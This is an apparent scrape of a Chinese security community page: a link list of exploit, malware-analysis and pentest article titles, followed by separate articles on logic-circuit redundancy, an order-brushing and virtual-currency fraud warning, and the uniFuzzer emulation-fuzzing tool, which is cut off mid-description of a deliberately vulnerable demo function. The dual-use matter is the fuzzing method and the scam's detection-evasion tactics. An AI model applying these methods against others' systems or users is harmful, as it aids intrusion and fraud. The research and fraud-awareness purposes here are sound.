* [【独家连载】mysql注入天书（一）Basic Challenges](https://xianzhi.aliyun.com/forum/read/314.html)
* [【独家连载】mysql注入天书（二）Advanced injection](https://xianzhi.aliyun.com/forum/read/328.html)
* [【独家连载】mysql注入天书（三）Stacked injection](https://xianzhi.aliyun.com/forum/read/344.html)
* [【独家连载】mysql注入天书（四）Challenges](https://xianzhi.aliyun.com/forum/read/411.html)
* [【独家】Mysql注入天书 PDF版本](https://xianzhi.aliyun.com/forum/read/629.html)
### @菠菜
* [【独家】Loki窃密木马家族分析](https://xianzhi.aliyun.com/forum/read/1633.html)
* [CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析](https://xianzhi.aliyun.com/forum/read/1453.html)
* [【独家】2017年最佳算法提名勒索软件（sega）分析](https://xianzhi.aliyun.com/forum/read/799.html)
* [【独家】揭开CryptoShield 勒索软件的真实面目](https://xianzhi.aliyun.com/forum/read/726.html)
* [【独家】针对俄罗斯社科院的定向勒索分析](https://xianzhi.aliyun.com/forum/read/657.html)
* [火眼分析工具FLARE-QDB介绍](https://xianzhi.aliyun.com/forum/read/622.html)
* [静态分析揭开Joanap木马的神秘面纱](https://xianzhi.aliyun.com/forum/read/578.html)
### @rainfire
* [【独家】0CTF2017 EasiestPrintf PWN技巧分析](https://xianzhi.aliyun.com/forum/read/1452.html)
* [【独家】二进制漏洞利用中的ROP技术研究与实例分析](https://xianzhi.aliyun.com/forum/read/840.html)
* [【独家】某驱动逆向题目调试分析](https://xianzhi.aliyun.com/forum/read/555.html)
* [Capcom Rootkit实现原理与分析(翻译）](https://xianzhi.aliyun.com/forum/read/803.html)
### @diffway
* [【独家】Wannacry 勒索软件分析](https://xianzhi.aliyun.com/forum/read/1603.html)
* [【独家】spore勒索软件分析](https://xianzhi.aliyun.com/forum/read/707.html)
* [【独家】zepto勒索软件分析](https://xianzhi.aliyun.com/forum/read/653.html)
### @墨眉_凌迟
* [【独家】某记账App iOS客户端内购破解](https://xianzhi.aliyun.com/forum/read/415.html)
### @forever80s
* [[某云pc客户端命令执行挖掘过程](https://xianzhi.aliyun.com/forum/read/505.html)
### @testme
* [从XSSer的角度测试上传文件功能](https://xianzhi.aliyun.com/forum/read/224.html)
### @索马里的海贼
-[【11.9再次更新】CmsEasy前台无限制GetShell](https://xianzhi.aliyun.com/forum/read/215.html)
-[[【独家】智能硬件分析-京东来点光波入网](https://xianzhi.aliyun.com/forum/read/627.html)
-[DarkEye开源 免费的cloudeye.me](https://xianzhi.aliyun.com/forum/read/459.html)
### @v1ct0r
-[CmsEasy前台无限制GetShell【Getshell的补充说明】](https://xianzhi.aliyun.com/forum/read/366.html)
### @wnagzihxain
* [【独家】闲聊阿里加固（一）](https://xianzhi.aliyun.com/forum/read/316.html)
### @doggy
* [浅谈json参数解析对waf绕过的影响](https://xianzhi.aliyun.com/forum/read/553.html)
### @jax777
* [【独家】关于命令注入的测试payload生成](https://xianzhi.aliyun.com/forum/read/557.html)
### @aqcxbom
[安卓Hook函数的复杂参数如何给定？](https://xianzhi.aliyun.com/forum/read/611.html?fpage=7)
### @sanwenkit
* [通过双重跳板漫游隔离内网](https://xianzhi.aliyun.com/forum/read/768.html)
* [【独家】ApachePOI的XXE漏洞本地调试（cve20165000）](https://xianzhi.aliyun.com/forum/read/631.html)
### @熊猫正正
* [【独家】Linux勒索样本KillDisk分析报告](https://xianzhi.aliyun.com/forum/read/632.html)
### @phithon
* [从Pwnhub诞生聊Django安全编码](https://xianzhi.aliyun.com/forum/read/1471.html)
* [【独家】Python格式化字符串漏洞（Django为例）](https://xianzhi.aliyun.com/forum/read/615.html)
### @shuteer
* [Metasploit、Powershell之AlwaysInstallElevated提权实战](https://xianzhi.aliyun.com/forum/read/1488.html)
* [Metasploit驰骋内网直取域管首级](https://xianzhi.aliyun.com/forum/read/742.html)
* [Metasploit权限提升全剧终](https://xianzhi.aliyun.com/forum/read/741.html)
* [内网漫游之SOCKS代理大结局](https://xianzhi.aliyun.com/forum/read/735.html)
### @evi1cg
* [隐匿的攻击之-Domain Fronting](https://xianzhi.aliyun.com/forum/read/782.html)
* [Exec OS Command Via MSSQL](https://xianzhi.aliyun.com/forum/read/769.html)
### @阿松
* [浅谈Discuz插件代码安全（内附0day）](https://xianzhi.aliyun.com/forum/read/754.html)
* [Chrome中“自动填充”安全性研究](https://xianzhi.aliyun.com/forum/read/699.html)
### @小憨
* [Phpcms_V9任意文件上传( N day ...)](https://xianzhi.aliyun.com/forum/read/1487.html)
* [Drupal 7.x Service模块SQLi & RCE 漏洞分析及EXP](https://xianzhi.aliyun.com/forum/read/1472.html)
* [基于MitM的RDP降级攻击](https://xianzhi.aliyun.com/forum/read/1434.html)
* [ntfs－3g本地提权漏洞（CVE－2017－0358）](https://xianzhi.aliyun.com/forum/read/792.html)
### @nmask
* [分享微软MS漏洞对应的KB号（2010-2017年漏洞）](https://xianzhi.aliyun.com/forum/read/1609.html)
* [色情资源引发的百度网盘之战](https://xianzhi.aliyun.com/forum/read/1502.html)
* [文件包含漏洞(绕过姿势)](https://xianzhi.aliyun.com/forum/read/1496.html)
* [Struts2_045漏洞批量检测脚本](https://xianzhi.aliyun.com/forum/read/789.html)
* [Phantomjs爬过的那些坑](https://xianzhi.aliyun.com/forum/read/772.html)
### @potato
* [Phpcms_V9任意文件上传 漏洞分析](https://xianzhi.aliyun.com/forum/read/1508.html)
* [phpcmsV9.5.8 后台两个低权限拿shell](https://xianzhi.aliyun.com/forum/read/1507.html)
* [Phpcms_V9任意文件上传 -临时解决方案](https://xianzhi.aliyun.com/forum/read/1490.html)
* [s2045漏洞分析](https://xianzhi.aliyun.com/forum/read/796.html)
### @cryin
* [Magento2 CSRF导致任意文件上传漏洞简单分析](https://xianzhi.aliyun.com/forum/read/1532.html)
* [phpcms v9.6.0 wap模块 SQL注入分析](https://xianzhi.aliyun.com/forum/read/1491.html)
* [S2-046漏洞调试及初步分析](https://xianzhi.aliyun.com/forum/read/1414.html)
* [Struts2漏洞利用原理及OGNL机制研究](https://xianzhi.aliyun.com/forum/read/1400.html)
* [SDL软件安全设计初窥](https://xianzhi.aliyun.com/forum/read/1399.html)
### @backlion
* [Cobalt Strike搭建和使用以及bybass杀软](https://xianzhi.aliyun.com/forum/read/1506.html)
### @heeeeen
* [【独家】原创蓝牙App漏洞系列分析之一CVE20170601](https://xianzhi.aliyun.com/forum/read/1570.html)
### @blackwolf
* [CVE原创分析b2evolution目录遍历bypass之CVE20175539](https://xianzhi.aliyun.com/forum/read/1543.html)
* [CVE原创分析初探CVE漏洞之CVE20175480](https://xianzhi.aliyun.com/forum/read/1542.html)
### @该隐
* [禅道9.1.2最新版免登陆SQL注入漏洞](https://xianzhi.aliyun.com/forum/read/1594.html)
* [禅道权限控制逻辑漏洞](https://xianzhi.aliyun.com/forum/read/1540.html)
* [禅道826版本一定条件getshell](https://xianzhi.aliyun.com/forum/read/1534.html)
* [禅道826版本SQL注入，登录绕过](https://xianzhi.aliyun.com/forum/read/1533.html)
### @m0l1ce
* [Wooyun All Bugs 10-16年所有漏洞（更新完成）](https://xianzhi.aliyun.com/forum/read/1557.html)
### @monika
* [[[原创][巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略（更新至18关）](https://xianzhi.aliyun.com/forum/read/1462.html)
* [一套实用的渗透测试岗位面试题](https://xianzhi.aliyun.com/forum/read/779.html)
### @jkgh006
* [Java软WAF框架](https://xianzhi.aliyun.com/forum/read/1519.html)
### @泳少
* [【独家】我的企业安全推动](https://xianzhi.aliyun.com/forum/read/793.html)
* [【独家】一个有意思的APPLE XSS（CVE-2016-7762）的 分析与思考](https://xianzhi.aliyun.com/forum/read/755.html)
### @tinyfisher
* [NSA 0day ETERNALBLUE 漏洞利用](https://xianzhi.aliyun.com/forum/read/1512.html)
### @好的资源帖
* [甲方企业整体安全建设思路及坑点](https://xianzhi.aliyun.com/forum/read/1524.html)
* [安全书籍合集（PDF版）](https://xianzhi.aliyun.com/forum/read/669.html)
* [网络安全监控实战：深入理解事件检测与响应 PDF版本](https://xianzhi.aliyun.com/forum/read/1548.html)
* [Wireshark数据包分析实战详解](https://xianzhi.aliyun.com/forum/read/671.html)
* [Apache Tomcat的安全相关东西](https://xianzhi.aliyun.com/forum/read/597.html)
* [SFDC黑无止境之业务逻辑“漏洞”PPT分享及其他](https://xianzhi.aliyun.com/forum/read/423.html)
* [Linux环境下常见漏洞利用技术](https://xianzhi.aliyun.com/forum/read/1410.html)
* [密码找回和跨域的知识导图](https://xianzhi.aliyun.com/forum/read/780.html)
* [web相关的一些笔记](https://xianzhi.aliyun.com/forum/read/358.html)
* [移动APP安全与SDL](https://xianzhi.aliyun.com/forum/read/1504.html)
* [SecWiki技术分享——漏洞挖掘之逻辑漏洞](https://xianzhi.aliyun.com/forum/read/1495.html)
* [burpsuite收集到的录像、文档以及视频资料](https://xianzhi.aliyun.com/forum/read/1526.html)
* [BurpSuite实战指南](https://xianzhi.aliyun.com/forum/read/510.html)
* [基线检查表&安全加固规范（V1.1）](https://xianzhi.aliyun.com/forum/read/1702.html)
* [攻击JavaWeb应用1-9[JavaWeb安全系列]](https://xianzhi.aliyun.com/forum/read/1867.html)
### @sm0nk
* [解读2017OWASPTop10漏洞体系含接口安全](https://xianzhi.aliyun.com/forum/read/1521.html)
* [黑客入侵应急分析手工排查](https://xianzhi.aliyun.com/forum/read/1655.html)
### @季雨林
* [互联网定位技术小谈](https://xianzhi.aliyun.com/forum/read/775.html)
* [互联网定位技术-wifi定位介绍](https://xianzhi.aliyun.com/forum/read/1421.html)
### @simeon
\- [信息收集之SVN源代码社工获取及渗透实战](https://xianzhi.aliyun.com/forum/read/1629.html)
### @茶码古刀
* [PR的盛宴之下，不能缺席的是技术的纯真——WannaCry事件之反思](https://xianzhi.aliyun.com/forum/read/1645.html)
### @sevck
* [一条命令引发的思考](https://xianzhi.aliyun.com/forum/read/790.html)
* [老洞新姿势，记一次漏洞挖掘和利用(PHPMailer RCE)](https://xianzhi.aliyun.com/forum/read/664.html)
* [浏览器中一些好玩的洞(IE/Safari)](https://xianzhi.aliyun.com/forum/read/359.html)
### @jeary
* [Web日志安全分析浅谈](https://xianzhi.aliyun.com/forum/read/1723.html)
### @紫霞仙子
* [[福利贴] 精华帖或长期活跃送永久cloudeye账号 [2017-06-15更新]](https://xianzhi.aliyun.com/forum/read/384.html) | 社区文章 |
# 硬件安全系列 第三篇 逻辑电路基础知识介绍（三）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这一篇是逻辑电路基础知识的最后一篇。
## Don’t Care
Don’t Care 可以称作冗余，在电子电路中，他有不同的类型对应不同的表现形式。
首先，我们从例子的角度探索一下冗余是怎么产生的。
### 输入不可能
第一个例子
X = ab ,F = Xb + bY +XY
首先我们对于X和ab进行分析
由于X和b存在一定约束关系：X是1时，b一定是1，不能是0
所以对于F存在一些输入并不可能
这就是冗余的第一种类型：存在输入不可能在逻辑电路中出现。
那么这个don’t care冗余对F来说究竟有什么影响呢
在不考虑冗余情况下，只要X b Y 存在两个输入为1，输出就是1，现在X为1b必为1，只要X为1或者b Y 同时为1
，输出就是1。我们也就可以把原来的逻辑关系简化成 X + bY
也就是don’t care的发现能够让我们简化电路。
所以对于我们而言，要做的就是找到冗余。
在讨论找到冗余方法之前，我们先介绍第二种冗余
### 输出不影响
第二个例子
X = ab ,Y = b + c, F = Xb + bY + XY, Z = FXd
依旧是先寻找 X 和 ab 的关系，以及 Y 和 bc 的关系
然后是 F 和 X b Y 的关系
最后到Z = FXd
首先根据前面F和XbY的关系，我们得到X为1时，F为1，也就是不存在01的输入
接下来我们看看Z和FXd的关系，要想Z为1，FXd都要是1，也就是当Xd有一个不为1或者都不为1时，F不影响输出，而当Xd都为1时，F一定为1，也就是F从始至终都不影响输出。
这就是第二种冗余，输入对输出不影响，所以我们完全可以忽略这一输入达到简化的目的。
### 简化冗余
通过算法找到冗余就是我们接下来要做的事情
在讨论算法之前，我们先明确冗余的特征：在前面的两个例子中，我们分别得到的是基于对输入不可能的冗余，基于对输出无影响的冗余Observability
don’t cares。
对于输入不可能存在两个方面，一个是逻辑约束Satisfiability don’t cares，另一个是环节之间的传递 Controllability
don’t cares
基于逻辑约束的冗余，他的特征是在and逻辑门中，输出是1，输入必须全是1，在or逻辑门中，输出是0，输入必须全是0。也就是这里的冗余是输入所导致的输出和与其输出不符。
因此我们判断冗余的方法就是将输出X当作一个我们可以控制的输入，将原逻辑当作实际输出，当两者不等时，说明这种情况不可能出现，也就是一个冗余。
例子
X = ab + c
X xor (ab + c) = 1 的X a b
c就是冗余，那么接下来就是我们的计算了，如何计算一个xor呢，在前面的SAT中，我们提到了类似的方法。我们将式子转化成CNF形式：X’ab + X’c +
Xa’c’ + Xb’c’。接下来就是对每一个单元进行分析，这里我们使用Boolean Constraint
Propagation逻辑约束传递的方法就可以了。
对于环节之间的传递就是当一个环节存在冗余时，他对下一个环节存在影响.那么我们怎么找到这一冗余呢。
例子
X = a + b , Y = ab , F = Xc + Yd + acd
对于 F 来说，受上一环节影响的因素只有X Y，同时F本身具有基于逻辑约束的冗余的可能，所以我们只讨论受上一环节影响，对于X Y
来说，他们具有的冗余特征是X xor (a+b) 和 Y xor ab。对于 F 来说 a
元素具有逻辑冗余的可能，所以如果在环节冗余中讨论，不得不同时考虑逻辑冗余，因此我们只对 F 中不存在的但是 X Y 中存在的 b
进行分析，分析方法就是遍历，我们需要知道对于任意b存在的冗余。
接下来是如何计算，不知道大家对任意b有没有熟悉的感觉，任意b说明b对输出无影响，在找冗余时，我们要找到对于任意b，存在一种输出是不可能出现的，对于不可能出现，其根本原因在于上一环节逻辑冗余的存在，所以我们要找的就是对于任意b依旧存在的逻辑冗余。也就可以表示为[X
xor (a + b)] + [Y xor (ab)]在任意b的情况下等于1的输入组合。这里我们可以使用全部量化的方法计算，也就是计算(∨b)([X xor
(a + b)] + [Y xor (ab)])
(∨b)([X xor (a + b)] + [Y xor (ab)])我们可以得到CNF的形式。
([X xor (a + b)] + [Y xor (ab)])_(b=1) = X xor 1 + Y xor a = X’ + Y’a + Ya’
([X xor (a + b)] + [Y xor (ab)])_(b=0) = X xor a + Y xor 0 = X’a + Xa’ + Y
两式求与
(X’ + Y’a + Ya’) * (X’a + Xa’ + Y)
=X’a + X’Y + X’Y’a + XYa’ + Ya’
=X’a + X’Y + Ya’
再根据Boolean Constraint Propagation逻辑约束传递的方法得到最终冗余。
除此之外，还存在另一种形式的环节之间约束的传递，那就是最初的输入存在冗余，也就是在最开始就人为规定有些输入不存在，对于这样的冗余，他不再具有逻辑性，所以我们不能用xor，此时，我们寻找另一种方法。
我们需要做的就是让之前那个计算式在冗余的输入的情况下能够返回1就可以了。既然如此，我们只需要增加冗余输入的1的形式就好了。
例子
依旧是上面的例子 X = a + b , Y = ab , F = Xc + Yd + acd
我们增加的约束是 b c d 不能同时是1
情况依旧是，对任意的b来说，存在情况满足[X xor (a + b)] + [Y xor (ab)]为1，只不过由于最初的输入限制 b c d
不能同时是1，所以在b c d 同时为1 的情况下结果也要输出1。所以我们只需要在[X xor (a + b)] + [Y xor
(ab)]加上bcd，即[X xor (a + b)] + [Y xor (ab) + bcd]
计算部分和上面一样。
最后就是找到对输出无影响的冗余
对输出有影响我们可以怎么表示，使用boolean difference əf / əx
当əf / əx为1有影响，为0 无影响。
所以我们只需要计算[Z(F=0) xor Z(F=1)] 是否等于0就好了，由于我们的Boolean Constraint
Propagation逻辑约束传递一般判断结果为1，所以我们在最后加上非运算。
由于F自身存在约束，所以对F 中存在的输入我们需要考虑，而对F中没有的输入，我们要求任意输入都满足。
例子
F = ab’ + a’b Z = ab + Fc’ +F’b’
(∨c)(Z _(F=1) xor Z\_ (F=0))就是我们要计算的式子。
但是这一式子只考虑了F没有约束情况下的冗余，我们还需要做的是将F的约束情况加入，约束情况就是F xor (ab’ +
a’b)，我们可以得到abF的关系，在计算过程中，将abF关系代入得到最终结果就是有约束情况的冗余。
## 最后
以上就是基础知识的全部内容 | 社区文章 |
# 风险预警！欺诈APP异常活跃，层层包装躲避拦截
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期，360手机先赔收到用户反馈在刷单过程中受骗，通过研究发现，真相远不止传统刷单那么简单。骗子通过 **聊天软件+虚拟货币平台+双重邀请码**
的方式搭建诈骗平台，以此作为躲避应用识别策略，再以虚拟货币上市需刷单为噱头骗取受害人的刷单保证金。通过日常对黑灰产情报监测分析，
**目前这种搭建方式已渐渐成为诈骗行业用于躲避拦截的主力模式。**
## 案例分析
### 阶段一：引流
用户通过手机浏览器下载了某兼职APP，在应用内添加了工作人员的微信，随后引导用户下载使用指定的聊天软件，添加指定的接待员账户。
### 阶段二：接待员发布任务
用户联系该接待员后，被告知此兼职活动是 **帮助商家推广数字货币交易量**
，该货币交易所目前需要上市，需要任务员帮忙刷交易数。用户使用邀请码注册交易平台后，收到刷单任务：
用户选择10元任务，并向对方提供的支付宝账户转账10元，按照对方要求在平台中购买BTC/USDT、10元、60秒、升。
**用户首次获得收益后，对方要求用户先提现，用户提现成功后，其给用户发布第二单任务。**
### 阶段三：套路用户，开始骗取用户资金
骗子给用户发布的任务金额越来越大，且以完成多个刷单任务为由，要求用户继续购买项目，用户发觉受骗。
## 诈骗手法分析
前期刷单小额佣金返现、后期停止返现，总体还是传统刷单的套路，只不过包装成了为虚拟货币平台刷量。从虚拟货币交易平台的界面看，
**其本质上是微交易盘/点位盘的翻版** ，将之前的微交易盘/点位盘多见的外汇商品改成了虚拟货币。
**但相比传统的刷单诈骗、点位盘诈骗，此次发现的平台隐蔽性更高。**
## 搭建源码的秘密
聊天应用主界面和虚拟货币交易界面调用的网址域名，从去年12月底开始上线，2021年1月中旬出现最高峰，意味着骗子可能利用这个工具进行诈骗的趋势。
通过聊天软件子域名的分布情况看，还存在多种通讯软件，其首页和登录页网址均相同，存在使用同一套源码批量生成聊天软件工具的情况。通过更深度的js代码发现，其使用了国内某SDK搭建接口工具。
**通过以上的信息，可以看出其诈骗流程：**
1.诈骗团伙利用微交易源码搭建了虚拟货币平台，通过SDK接口工具制作了即时聊天工具，并将虚拟货币平台接入到聊天软件中；
2.通过兼职软件发布广告引流，间接引导用户安装指定的聊天工具；
3.再通过聊天工具里的客服与用户深度沟通，引导受害人在虚拟货币平台刷单，骗取刷单保证金。
## 为躲避风控使用的策略
n第三方的渠道只用于引流，且在接单的过程中， **会对访客进行身份校验，要求提供渠道来源截图，** 以此躲避第三方渠道的风控监管。
n诈骗场景聚焦在自建的聊天软件及虚拟货币平台中，聊天软件注册、虚拟货币平台注册 **均要求使用邀请码注册，**
在有邀请码的机制下，沙箱很难深入抓取数据，增加了应用沙箱追溯和监测的难度。
## 安全课堂
网络技术在进步，骗子为躲避平台的监测和拦截，诈骗的手法和技术也越发狡猾，但“防线”再牢固，也还是有破绽，一招识破刷单骗局：
**所有让交保证金的兼职**
**99%都是骗局！** | 社区文章 |
# 基于Unicorn和LibFuzzer的模拟执行fuzzing
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
之前，银河实验室对基于unicorn的模拟执行fuzzing技术进行了研究。在上次研究的基础上，我们进一步整合解决了部分问题，初步实现了基于Unicorn和LibFuzzer的模拟执行fuzzing工具：uniFuzzer。
关于这项研究的相关背景，可回顾实验室之前的这篇文章[基于 unicorn 的单个函数模拟执行和 fuzzer
实现](\(http:/galaxylab.com.cn/%E5%9F%BA%E4%BA%8E-unicorn-%E7%9A%84%E5%8D%95%E4%B8%AA%E5%87%BD%E6%95%B0%E6%A8%A1%E6%8B%9F%E6%89%A7%E8%A1%8C%E5%92%8C-fuzzer-%E5%AE%9E%E7%8E%B0/\))，这里就不再缀述了。总体而言，我们想要实现的是：
1. 在x86服务器上模拟运行MIPS/ARM架构的ELF（主要来自IoT设备）
2. 可以对任意函数或者代码片段进行fuzzing
3. 高效的输入变异
其中前2点，在之前的研究中已经确定用Unicorn解决；输入的变异，我们调研后决定采用LibFuzzer，并利用其代码覆盖率反馈机制，提升fuzzing效率。
在这篇文章中，我们先简要介绍下Unicorn和LibFuzzer，随后对模拟执行fuzzing工具的原理进行详细的分析，最后通过一个demo来介绍工具的大致使用方式。
## 背景介绍
### 1.1 Unicorn
提到[Unicorn](https://github.com/unicorn-engine/unicorn)，就不得不说起[QEMU](https://www.qemu.org/)。QEMU是一款开源的虚拟机，可以模拟运行多种CPU架构的程序或系统。而Unicorn正是基于QEMU，它提取了QEMU中与CPU模拟相关的核心代码，并在外层进行了包装，提供了多种语言的API接口。
因此，Unicorn的优点很明显。相比QEMU来说，用户可以通过丰富的接口，灵活地调用CPU模拟功能，对任意代码片段进行模拟执行。不过，我们在使用过程中，也发现Unicorn存在了一些不足，最主要的就是Unicorn其实还不是很稳定、完善，存在了大量的坑（可以看Github上的issue），而且似乎作者也没有短期内要填完这些坑的打算。另一方面，由于还有较多的坑，导致Unicorn底层QEMU代码的更新似乎也没有纳入计划：Unicorn最新的release是2017年的1.0.1版本，这是基于QEMU
2的，然而今年QEMU已经发布到QEMU 4了。
不过，虽然存在着坑比较多、QEMU版本比较旧的问题，对我们的模拟执行fuzzing来说其实还好。前者可以在使用过程中用一些临时方法先填上（后面会举一个例子）。后者的影响主要是不支持一些新的架构和指令，这对于许多IoT设备来说问题并不大；而旧版本QEMU存在的安全漏洞，主要也是和驱动相关，而Unicorn并没有包含QEMU的驱动，所以基本不受这些漏洞的影响。
### 1.2 QEMU
关于QEMU的CPU模拟原理，读者可以在网上搜到一些专门的介绍，例如[这篇](https://www.slideshare.net/ChiaweiWang3/qemu-introduction)。大致来说，QEMU是通过引入一层中间语言，TCG，来实现在主机上模拟执行不同架构的代码。例如，如果在x86服务器上模拟MIPS的代码，QEMU会先以基本块（Basic
Block）为单位，将MIPS指令经由TCG这一层翻译成x86代码，得到TB(Translation Block)，最终在主机上执行。
而为了提高模拟运行的效率，QEMU还加入了TB缓存和链接机制。通过缓存翻译完成的TB，减少了下次执行时的翻译开销，这即就是Unicorn所说的JIT。而TB链接机制，则是把原始代码基本块之间的跳转关系，映射到TB之间，从而尽可能地减少了查找缓存的次数和相关的上下文切换。
值得一提的是，Unicorn所提供的hook功能，就是在目标代码翻译成TCG时，插入相关的TCG指令，从而在最终翻译得到的TB中，于指定位置处回调hook函数。而由于TCG指令和架构无关，因此添加的TCG指令可以直接适用于不同架构。
### 1.3 LibFuzzer
LibFuzzer应该许多人都不陌生，这是LLVM项目中内置的一款fuzzing工具，相比我们之前介绍过的AFL，LibFuzzer具有以下优点：
1. 灵活：通过实现接口的方式使用，可以对任意函数进行fuzzing
2. 高效：在同一进程中进行fuzzing，无需大量fork()进程
3. 便捷：提供了API接口，便于定制化和集成
而且，和AFL一样，LibFuzzer也是基于代码覆盖率来引导变异输入的，因此fuzzing的效率很高。不过，这两者都需要通过编译时插桩的方式，来实现代码覆盖率的跟踪，所以必须要有目标的源代码。接下来，在uniFuzzer的原理中，我们会介绍如何结合Unicorn和LibFuzzer的功能，对闭源程序进行代码覆盖率的跟踪反馈。
## uniFuzzer原理
uniFuzzer的整体工作流程大致如下：
1. 目标加载：在Unicorn中加载目标ELF和依赖库，并解析符号
2. 设置hook：通过Unicorn的基本块hook，反馈给LibFuzzer代码覆盖率
3. 准备环境：设置栈、寄存器等信息
4. fuzzing：将Unicorn的模拟执行作为目标函数，开始LibFuzzer的fuzzing
下面对各环节进行具体的介绍。
### 2.1 目标加载
遇到的许多IoT设备，运行的是32位MIPS/ARM架构的Linux，所以我们初步设定的目标就是这类架构上的ELF文件。
如实验室之前对模拟执行研究的那篇文章中所讲，我们需要做的就是解析ELF格式，并将LOAD段映射到Unicorn的内存中。而在随后的研究中，我们发现目标代码往往会调用其他依赖库中的函数，最常见的就是libc中的各类C标准库函数。通过Unicorn的hook机制，倒是可以将部分标准库函数通过非模拟执行的方式运行。但是这种方式局限太大：假如调用的外部函数不是标准库中的，那么重写实现起来就会非常麻烦。所以，我们还是选择将目标ELF的全部依赖库也一并加载到Unicorn中，并且也通过模拟执行的方式，运行这些依赖库中的代码。
那么，以上所做的，其实也就是Linux中的动态链接器ld.so的工作。Unicorn本身并不包含这些功能，所以一种方式是由Unicorn去模拟执行合适的ld.so，另一种方式是实现相关的解析代码，再调用Unicorn的接口完成映射。由于后一种更可控，所以我们选择了这种方式。不过好在ld.so是开源的，我们只需要把相关的代码修改适配一下即可。最终我们选择了[uClibc](https://www.uclibc.org/)这个常用于嵌入式设备的轻量库，将其ld.so的代码进行了简单的修改，集成到了uniFuzzer中。
由于我们集成的是ld.so的部分功能，导入函数的地址解析无法在运行时进行。因此，我们采取类似LD_BIND_NOW的方式，在目标ELF和依赖库全部被加载到Unicorn之后，遍历符号地址，并更新GOT表条目。这样，在随后的模拟执行时，就无需再进行导入函数的地址解析工作了。
集成ld.so还带来了一个好处，就是可以利用LD_PRELOAD的机制，实现对库函数的覆盖，这有助于对fuzzing目标进行部分定制化的修改。
### 2.2 设置hook
接下来需要解决的一个重要问题，就是如何获取模拟执行的代码覆盖率，并反馈给LibFuzzer。LibFuzzer和AFL都是在编译目标源码时，通过插桩实现代码覆盖的跟踪。虽然LibFuzzer的具体插桩内容我们还没有分析，但是之前对[AFL的分析](https://rk700.github.io/2017/12/28/afl-internals/)应该可以作为参考。简单来说，AFL是为每个执行分支生成一个随机数，用于标记当前分支的”位置”；随后在跳转到某个分支时，提取该分支的”位置”，与跳转之前的上一个”位置”作异或，并将异或的结果作为此次跳转的标号，更新一个数组。AFL官网上的文档提供了这一部分的伪代码：
而这个数组，记录的就是每个跳转，如A->B，所发生的次数。AFL以此数组作为代码覆盖率的信息，进行处理，并指导后续的变异。
回到我们的fuzzing工具。如之前所说，LibFuzzer和AFL之所以需要目标的源码，是为了在编译时，在跳转处插入相关的代码，而跳转正好对应的就是基本块这一概念。恰巧，Unicorn提供的hook接口中，也包含了基本块级别的hook，可以在每个基本块被执行之前，回调我们设置的hook函数:
另一方面，通过搜索相关资料，我们发现在LibFuzzer中还神奇地提供了这样一个机制，__libfuzzer_extra_counters：
可见，类似于AFL，通过一个记录跳转发生次数的数组，就可以作为代码覆盖率的信息。作为用户，我们只需要按照格式，声明这样一个数组，并在每次跳转时，更新相应下标处的内容，就可以轻松地将覆盖率信息反馈给LibFuzzer了。
综合以上信息，我们得出了下面的方案：
1. 按照extra counters的要求，声明一个uint8_t类型的数组
2. 设置Unicorn对基本块的hook，获取到当前基本块的入口地址，并对应生成一个随机数
3. 参考AFL的方式更新数组，将此次跳转的次数加一
其中第2点，为基本块（即分支）生成一个随机数，AFL是在编译插桩时就生成这样的随机数并硬编码的。对于Unicorn来说，如果要实现这样的效果，必须修改Unicorn的源码，在基本块翻译时加入相应的TCG指令。但这样做对Unicorn本身的改动比较大，所以最终我们还是选择通过hook的方式，而尽量不去魔改Unicorn破坏通用性。具体地，我们是将基本块的入口地址计算CRC16哈希，作为其对应的随机数。
### 2.3 准备环境
现在，目标已经加载到Unicorn中，代码覆盖率反馈也已经实现，接下来就只需要准备运行环境了。通过Unicorn的接口，我们可以映射出栈、堆、数据等不同的内存区域，并根据目标代码的需求，设置好相应的寄存器值。
另外，如之前所说，我们移植的ld.so支持通过PRELOAD的方式，覆盖掉要模拟执行的库函数。比如说，目标代码中调用的某些库函数是不必要的，而且由于Unicorn不支持系统调用，所以像printf()这类IO输出的库函数，就可以通过PRELOAD的方式忽略掉，而不影响代码的正常运行。当然，编译的preload库，需要确保其和目标ELF是同一架构、同一符号哈希方式，才能被正确地加载到Unicorn中。
### 2.4 运行fuzzing
准备工作到这里已经完成，接下来就可以fuzzing了。使用LibFuzzer，需要用户实现LLVMFuzzerTestOneInput(const
uint8_t *data, size_t
len)这个函数，在其中调用要fuzzing的函数，在这里即就是目标代码的Unicorn模拟。根据LibFuzzer生成的输入和其他环境信息，Unicorn开始模拟运行指定的代码片段，并将代码覆盖率通过extra
counters数组反馈给LibFuzzer，从而变异生成下一个输入，再次开始下一轮模拟运行。
由于fuzzing时所模拟运行的目标代码片段恒定不变，因此QEMU的JIT机制可以有效地提升运行效率。然而，起初我们测试时，却发现并不是这样：每一轮的模拟执行，都会重新翻译一遍目标代码。经过分析代码，我们发现这是Unicorn的一个坑：为了解决基本块中单步执行遇到的[某个问题](https://github.com/unicorn-engine/unicorn/issues/263)，Unicorn引入了一个[临时解决方案](https://github.com/unicorn-engine/unicorn/commit/9099755ca15814a252463bf8f5d087ab75f89854)，即在模拟执行停止后，清空QEMU的TB缓存。因此，第二轮模拟执行时，即使是同一段代码，由于缓存被清空，还是需要再重头开始翻译。为了恢复性能，我们需要再注释掉这个临时方案，重新编译安装Unicorn。
## 示例
我们整理了上述研究结果，实现了一套概念验证代码：https://github.com/rk700/uniFuzzer，其中包含了一个demo。下面我们就以这个demo为例，再次介绍整个fuzzing的运行流程。
demo-vuln.c是要进行fuzzing的目标，其中包含了名为vuln()的函数，存在栈溢出和堆溢出：
可以看到，输入的内容未检查长度，就直接strcpy()到堆上；另外，输入内容的第一个字节作为长度，memcpy()到栈上。
接下来，我们将这段代码编译成32位小端序的MIPS架构ELF。首先我们需要mipsel的交叉编译工具，在Debian上可以安装gcc-mipsel-linux-gnu这个包。接下来运行
mipsel-linux-gnu-gcc demo-vuln.c -Xlinker –hash-style=sysv -no-pie -o demo-vuln
将其编译得到ELF文件demo-vuln。我们要fuzzing的目标，就是其中的vuln()函数。
由于demo-vuln提供了源代码，所以我们看到在vuln()函数中，还调用了printf(), malloc(), strcpy(), memcpy(),
